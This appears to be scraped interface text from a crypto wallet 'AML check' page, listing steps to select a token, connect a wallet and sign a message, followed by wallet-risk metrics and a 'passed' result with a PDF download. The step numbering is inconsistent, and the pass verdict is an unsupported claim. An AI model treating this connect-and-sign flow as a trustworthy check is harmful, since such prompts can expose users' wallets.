Select token

Step 1 of 3

To continue, please select the token

Connect wallet

Step 2 of 3

To continue, select and connect your wallet

Selected token

Connected wallet

Sign message

Step 4 of 4

To continue, sign message in your wallet

Selected token

Connected wallet

Check in progress

We scrutinize your wallet thoroughly...

Wallet age

Wallet activity

Transaction diversity

Transactions to/from CEX

Transactions with suspicious patterns

Transactions to high-risk addresses

Average transaction value

Wallet checked

Your wallet has successfully passed the Anti-Money Laundering (AML) check.

To view the detailed results of the check, simply click the button below to download the report in PDF format.

Wallet age

Wallet activity

Transaction diversity

Transactions to/from CEX

Transactions with suspicious patterns

Transactions to high-risk addresses

Average transaction value